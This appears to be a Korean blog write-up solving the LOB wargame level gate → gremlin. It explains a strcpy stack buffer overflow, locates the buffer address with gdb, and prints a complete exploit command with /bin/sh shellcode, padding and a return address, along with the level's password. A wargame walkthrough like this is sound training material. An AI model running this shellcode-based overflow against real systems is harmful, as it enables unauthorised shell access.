DINGA DINGA
article thumbnail
Published 2021. 2. 26. 18:06
[LOB] gate → gremlin SYSTEM/LOB
728x90

1. gate/gate로 로그인

 

2. gremlin.c 파일 내용 확인

buffer에 256바이트가 할당되어 있고, strcpy함수를 이용해 argv[1]을 buffer에 복사하는 코드이다.

 

3. 권한이 없으므로 gremlin을 gremcop으로 복사

 

4. gdb로 gremcop 실행, main함수 어셈블리 코드 확인

<main+62>에 buffer가 있고, buffer는 EBP-256에 위치해있다.

buffer에 더미 데이터로 260바이트를 채우고, return address에 buffer의 시작 주소를 넣으면 될 것 같다.

 

5. <main+59>에 breakpoint 설정 후 dummy값을 넣어줌

breakpoint에서 멈춘 것을 확인할 수 있다.

 

6. esp 확인

"A"가 잘 들어갔고, buffer의 시작 주소가 0xbffff918인 것을 알 수 있다.

 

7. 공격코드 구성

공격코드는 쉘코드(24byte)+dummy(260-24=236byte)+buffer시작주소(4byte)로 구성했다.

./gremlin `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * 236 + "\x18\xf9\xff\xbf"'`

 

8. 비밀번호 획득

비밀번호: hello bof world

728x90

'SYSTEM > LOB' 카테고리의 다른 글

[LOB] wolfman → darkelf  (0) 2021.03.14
[LOB] orc → wolfman  (0) 2021.03.14
[LOB] goblin → orc  (0) 2021.03.14
[LOB] cobolt → goblin  (0) 2021.03.04
[LOB] gremlin → cobolt  (0) 2021.03.04